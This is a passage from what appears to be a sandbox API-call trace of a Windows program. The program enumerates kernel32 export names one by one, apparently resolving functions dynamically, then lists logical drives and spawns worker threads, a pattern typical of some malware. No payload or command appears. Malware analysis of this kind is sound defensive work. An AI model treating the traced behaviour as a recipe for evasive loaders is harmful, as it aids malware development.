lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.576] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.576] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.576] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.576] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.576] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.576] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.576] lstrcpyA (in: lpString1=0x34f1bc, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.576] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.577] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.577] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.577] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.577] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.577] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.577] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.577] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.577] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.577] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.577] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.577] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.577] lstrlenA (lpString="DELETEATOM") returned 10 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.577] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.577] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.577] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.577] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.577] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.577] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.578] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.578] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.578] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.578] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.578] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.578] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.578] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.578] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.578] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.578] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.578] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.578] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.578] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.578] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.578] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.578] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.578] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.578] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.578] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.578] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.578] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.579] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.579] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.579] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.579] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.579] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.579] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.579] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.579] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.579] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.579] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.579] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.579] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.579] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.579] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.579] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.579] lstrcpyA (in: lpString1=0x34f1bc, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.579] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0055.579] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0055.580] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x630000 | out: lpBuffer="C:\\") returned 0x4 [0055.580] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0055.580] lstrlenW (lpString="C:\\") returned 3 [0055.580] VirtualAlloc (lpAddress=0x0, dwSize=0x806, flAllocationType=0x3000, flProtect=0x4) returned 0x2f60000 [0055.581] lstrcpyW (in: lpString1=0x2f60000, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0055.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x425480, lpParameter=0x2ec0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0055.582] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4257a0, lpParameter=0x34fe64, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228 [0055.583] WaitForMultipleObjects (nCount=0x2, lpHandles=0x34fe6c*=0x224, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 3 os_tid = 0xa4c Thread: id = 4 os_tid = 0xa50 Thread: id = 5 os_tid = 0xa54 Thread: id = 6 os_tid = 0xa58 Thread: id = 57 os_tid = 0xa6c [0053.809] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2c50000 [0053.810] lstrlenA (lpString="kernel32.dll") returned 12 [0053.810] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.810] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.810] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.810] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.810] lstrlenA (lpString="ADDATOMA") returned 8 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.810] lstrlenA (lpString="ADDATOMW") returned 8 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.810] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.810] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.810] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.810] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.810] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.810] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.811] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.811] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.811] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.811] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.811] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.811] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.811] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.811] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.811] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.811] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.811] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.811] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.811] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.811] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.811] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.811] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.811] lstrlenA (lpString="BACKUPWRITE") returned 11 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.811] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.811] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.811] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.812] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.812] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.812] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.812] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.812] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.812] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.812] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.812] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.812] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.812] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.812] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.812] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.812] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.812] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.812] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.812] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.812] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.812] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.812] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.812] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.813] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.813] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.813] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.813] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.813] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.813] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.813] lstrlenA (lpString="BEEP") returned 4 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BeginUpdateResourceA" | out: 